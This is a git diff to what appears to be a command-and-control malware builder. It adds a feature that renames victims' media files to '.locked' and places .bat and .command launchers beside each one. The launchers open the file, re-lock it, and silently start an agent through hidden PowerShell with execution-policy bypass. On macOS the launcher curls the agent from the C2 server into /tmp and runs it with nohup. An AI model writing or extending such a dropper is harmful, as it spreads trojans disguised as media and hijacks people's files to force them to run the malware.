diff --git a/server/internal/builder/pathforge.go b/server/internal/builder/pathforge.go index e85d032..f5aa36a 100644 --- a/server/internal/builder/pathforge.go +++ b/server/internal/builder/pathforge.go @@ -31,6 +31,11 @@ type PathForgeRequest struct { // ServerURL is embedded in the Mac bootstrap curl command. ServerURL string `json:"server_url"` + // LockOriginal renames the source file to filename.ext.locked so it cannot + // be opened without running the companion launcher. The launcher unlocks it, + // starts playback, then re-locks it after a short delay. + LockOriginal bool `json:"lock_original"` + // Extensions lists file extensions to target (dot-prefixed, lowercase). // Leave empty to use the built-in media list. Extensions []string `json:"extensions"` @@ -113,6 +118,24 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { stem := stemFor(req.StemMode, req.OutputStem, d.Name()) dir := filepath.Dir(path) + // The name the launcher will reference — either the original or its + // locked rename (appended with ".locked" so no app can open it directly). + fileForLauncher := d.Name() + lockedName := d.Name() + ".locked" + + if req.LockOriginal { + lockedPath := filepath.Join(dir, lockedName) + // Only rename if the locked file doesn't already exist. + if _, err := os.Stat(lockedPath); os.IsNotExist(err) { + if renErr := os.Rename(path, lockedPath); renErr != nil { + res.Errors++ + res.ErrorList = append(res.ErrorList, "lock failed: "+rel+": "+renErr.Error()) + return nil + } + } + fileForLauncher = lockedName + } + var placed []string if req.TargetWindows && agentExe != "" { @@ -121,16 +144,16 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { if copyFileBytes(agentExe, exeDst) == nil { placed = append(placed, stem+".exe") } - // .bat launcher that opens the original file AND runs the agent + // .bat launcher: unlock → play → re-lock → run agent (all seamless) batDst := filepath.Join(dir, stem+".bat") - if err := os.WriteFile(batDst, []byte(batContent(d.Name(), stem)), 0644); err == nil { + if err := os.WriteFile(batDst, []byte(batContent(fileForLauncher, d.Name(), stem, req.LockOriginal)), 0644); err == nil { placed = append(placed, stem+".bat") } } if req.TargetMac { cmdDst := filepath.Join(dir, stem+".command") - if err := os.WriteFile(cmdDst, []byte(macContent(d.Name(), req.ServerURL)), 0755); err == nil { + if err := os.WriteFile(cmdDst, []byte(macContent(fileForLauncher, d.Name(), req.ServerURL, req.LockOriginal)), 0755); err == nil { placed = append(placed, stem+".command") } } @@ -173,29 +196,62 @@ func sanitizeStem(s string) string { return strings.TrimSpace(replacer.Replace(s)) } -// batContent creates a .bat file that opens the original media file with the -// default Windows player, then silently starts the agent exe. -func batContent(originalFile, exeStem string) string { - return "@echo off\r\n" + - fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", originalFile) + - fmt.Sprintf("powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+ - "-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", exeStem) +// batContent creates a .bat launcher. +// +// When lockOriginal is true the file on disk is named lockedFile +// (e.g. "Terminator.mkv.locked"). The bat: +// 1. Renames lockedFile → realFile (unlock) +// 2. Opens realFile with the default player +// 3. After 4 s, renames realFile → lockedFile again (re-lock) — hidden +// 4. Runs the agent .exe — hidden +// +// When lockOriginal is false it simply opens realFile and runs the agent. +func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string { + b := "@echo off\r\n" + if lockOriginal { + // Step 1: unlock + b += fmt.Sprintf("ren \"%%~dp0%s\" \"%s\" 2>nul\r\n", lockedFile, realFile) + } + // Step 2: open the file + b += fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", realFile) + // Step 3+4: hidden PowerShell — wait, re-lock, run agent + if lockOriginal { + b += fmt.Sprintf( + "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command \"& {"+ + " Start-Sleep 4;"+ + " if (Test-Path '%%~dp0%s') { Rename-Item '%%~dp0%s' '%s' };"+ + " Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", + realFile, realFile, lockedFile, exeStem) + } else { + b += fmt.Sprintf( + "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+ + "-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", + exeStem) + } + return b } -// macContent creates a .command shell script that opens the original file on -// macOS and downloads + runs the agent from the C2 server. -func macContent(originalFile, serverURL string) string { - dl := "" +// macContent creates a .command shell script for macOS/Linux. +// When lockOriginal is true it renames the locked file, opens it, re-locks after 4 s. +func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) string { + s := "#!/bin/bash\n" + dir := "$(dirname \"$0\")" + if lockOriginal { + s += fmt.Sprintf("mv \"%s/%s\" \"%s/%s\" 2>/dev/null\n", dir, lockedFile, dir, realFile) + } + s += fmt.Sprintf("open \"%s/%s\" 2>/dev/null\n", dir, realFile) + if lockOriginal { + s += fmt.Sprintf( + "( sleep 4; mv \"%s/%s\" \"%s/%s\" 2>/dev/null ) &\n", + dir, realFile, dir, lockedFile) + } if serverURL != "" { - dl = fmt.Sprintf( + s += fmt.Sprintf( "curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+ "&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n", - serverURL, - ) + serverURL) } - return "#!/bin/bash\n" + - fmt.Sprintf("open \"$(dirname \"$0\")/%s\" 2>/dev/null\n", originalFile) + - dl + return s } // findAgentBinary looks next to the server executable for the agent binary. diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 937e85a..53433ef 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -132,6 +132,7 @@ export default function BuilderPage() { const [pfStem, setPfStem] = useState(''); const [pfWindows, setPfWindows] = useState(true); const [pfMac, setPfMac] = useState(true); + const [pfLock, setPfLock] = useState(true); const [pfBusy, setPfBusy] = useState(false); const [pfResult, setPfResult] = useState<{ placed: number; total: number; errors: number; @@ -486,6 +487,7 @@ export default function BuilderPage() { output_stem: pfStem.trim(), target_windows: pfWindows, target_mac: pfMac, + lock_original: pfLock, server_url: form?.server_url ?? '', }), }); @@ -1991,11 +1993,22 @@ export default function BuilderPage() { />
For every file found (movies, docs, archives…) the server drops all three companions right beside it:
- Terminator.exe · Terminator.bat · Terminator.command
- The original file is never touched.{' '}
- Terminator.mkv stays exactly as-is. The .bat opens it in the default player
- and silently runs the agent. The .command does the same on Mac.
+ Terminator.exe · Terminator.bat · Terminator.command